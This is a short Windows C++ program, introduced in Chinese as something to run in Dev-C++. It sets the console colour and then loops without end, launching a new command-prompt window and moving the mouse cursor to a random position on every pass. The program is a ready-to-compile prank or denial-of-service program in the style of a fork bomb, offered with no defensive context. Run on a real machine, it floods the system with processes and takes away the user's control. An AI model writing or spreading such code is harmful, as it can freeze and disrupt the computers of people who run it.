用dev-c++运行即可

#include<windows.h>
# include <stdio.h>
using namespace std;
int main()
{
    system("color F5");
	int x,y;
    for(;;){
        system("start cmd");
		x = rand()%801;
        y = rand()%601;
        SetCursorPos(x,y);
    } 
    return 0;
}